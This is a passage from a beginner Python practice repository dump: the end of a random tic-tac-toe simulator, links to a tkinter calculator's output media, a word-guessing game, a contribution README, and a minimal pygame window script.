tie 82 | def evaluate(board): 83 | winner = 0 84 | 85 | for player in [1, 2]: 86 | if (row_win(board, player) or 87 | col_win(board,player) or 88 | diag_win(board,player)): 89 | 90 | winner = player 91 | 92 | if np.all(board != 0) and winner == 0: 93 | winner = -1 94 | return winner 95 | 96 | # Main function to start the game 97 | def play_game(): 98 | board, winner, counter = create_board(), 0, 1 99 | print(board) 100 | sleep(2) 101 | 102 | while winner == 0: 103 | for player in [1, 2]: 104 | board = random_place(board, player) 105 | print("Board after " + str(counter) + " move") 106 | print(board) 107 | sleep(2) 108 | counter += 1 109 | winner = evaluate(board) 110 | if winner != 0: 111 | break 112 | return(winner) 113 | 114 | # Driver Code 115 | print("Winner is: " + str(play_game())) 116 | -------------------------------------------------------------------------------- /Projects/tkinter-calculator/Output/ErrorHandling-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/tkinter-calculator/Output/ErrorHandling-1.png -------------------------------------------------------------------------------- /Projects/tkinter-calculator/Output/ErrorHandling-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/tkinter-calculator/Output/ErrorHandling-2.png -------------------------------------------------------------------------------- /Projects/tkinter-calculator/Output/calculator_output.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/tkinter-calculator/Output/calculator_output.mp4 -------------------------------------------------------------------------------- /Projects/tkinter-calculator/Output/output-1 (1).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/tkinter-calculator/Output/output-1 (1).png -------------------------------------------------------------------------------- /Projects/tkinter-calculator/Output/output-1 (2).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sattwik21/Python-Practice/ce78e0659b28dc1b10e57e5036ad571b7078a3c8/Projects/tkinter-calculator/Output/output-1 (2).png -------------------------------------------------------------------------------- /Projects/word_guessing_game.py: -------------------------------------------------------------------------------- 1 | 2 | import random 3 | # library that we use in order to choose 4 | # on random words from a list of words 5 | 6 | name = input("What is your name? ") 7 | # Here the user is asked to enter the name first 8 | 9 | print("Good Luck ! ", name) 10 | 11 | words = ['rainbow', 'computer', 'science', 'programming', 12 | 'python', 'mathematics', 'player', 'condition', 13 | 'reverse', 'water', 'board', 'geeks'] 14 | 15 | # Function will choose one random 16 | # word from this list of words 17 | word = random.choice(words) 18 | 19 | 20 | print("Guess the characters") 21 | 22 | guesses = '' 23 | 24 | # any number of turns can be used here 25 | turns = 12 26 | 27 | 28 | while turns > 0: 29 | 30 | # counts the number of times a user fails 31 | failed = 0 32 | 33 | # all characters from the input 34 | # word taking one at a time. 35 | for char in word: 36 | 37 | # comparing that character with 38 | # the character in guesses 39 | if char in guesses: 40 | print(char, end=" ") 41 | 42 | else: 43 | print("_") 44 | print(char, end=" ") 45 | 46 | # for every failure 1 will be 47 | # incremented in failure 48 | failed += 1 49 | 50 | if failed == 0: 51 | # user will win the game if failure is 0 52 | # and 'You Win' will be given as output 53 | print("You Win") 54 | 55 | # this print the correct word 56 | print("The word is: ", word) 57 | break 58 | 59 | # if user has input the wrong alphabet then 60 | # it will ask user to enter another alphabet 61 | print() 62 | guess = input("guess a character:") 63 | 64 | # every input character will be stored in guesses 65 | guesses += guess 66 | 67 | # check input with the character in word 68 | if guess not in word: 69 | 70 | turns -= 1 71 | 72 | # if the character doesn’t match the word 73 | # then “Wrong” will be given as output 74 | print("Wrong") 75 | 76 | # this will print the number of 77 | # turns left for the user 78 | print("You have", + turns, 'more guesses') 79 | 80 | if turns == 0: 81 | print("You Loose") 82 | -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | [![GitHub forks](https://img.shields.io/github/forks/sattwik21/Python-Practice?style=social)](https://github.com/sattwik21/Python-Practice/network/members) 2 | [![GitHub stars](https://img.shields.io/github/stars/sattwik21/Python-Practice?style=social)](https://github.com/sattwik21/Python-Practice/stargazers) 3 | [![GitHub pull-requests](https://img.shields.io/github/issues-pr/sattwik21/Python-Practice.svg)](https://github.com/sattwik21/Python-Practice/pulls/) 4 | [![GitHub pull-requests](https://img.shields.io/github/issues-pr-closed/sattwik21/Python-Practice.svg)](https://github.com/sattwik21/Python-Practice/pulls?q=is%3Apr+is%3Aclosed) 5 | [![GitHub Contributors](https://img.shields.io/github/contributors/sattwik21/Python-Practice.svg)](https://github.com/sattwik21/Python-Practice/graphs/contributors) 6 | [![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](https://github.com/sattwik21/Python-Practice/Contribution.md) 7 | 8 | # Python-Practice 9 | 10 | [Python-Practice](https://github.com/sattwik21/Python-Practice/) 11 | The repository is to encourage participants to contribute for open source projects. 12 | 13 | You can contribute to the project in following ways 14 | 15 | * Submit your working algorithm and projects in python language. 16 | * Remove bugs and typos in exsisting codes. 17 | * Documentaion. 18 | 19 | How to Contribute? 20 | To know about contribution process [Click Here!](https://github.com/sattwik21/Python-Practice/blob/master/Contributing.md) 21 | -------------------------------------------------------------------------------- /simple_pygame.py: -------------------------------------------------------------------------------- 1 | # Simple pygame program 2 | 3 | # Import and initialize the pygame library 4 | import pygame 5 | pygame.init() 6 | 7 | # Set up the drawing window 8 | screen = pygame.display.set_mode([500, 500]) 9 | 10 | # Run until the user asks to quit 11 | running = True 12 | while running: 13 | 14 | # Did the user click the window close button? 15 | for event in pygame.event.get(): 16 | if event.type == pygame.QUIT: 17 | running = False 18 | 19 | # Fill the background with white 20 | screen.fill((255, 255, 255)) 21 | 22 | # Draw a solid blue circle in the center 23 | pygame.draw.circle(screen, (0, 0, 255), (250, 250), 75) 24 | 25 | # Flip the display 26 | pygame.display.flip() 27 | 28 | # Done! Time to quit. 29 | pygame.quit() 30 | --------------------------------------------------------------------------------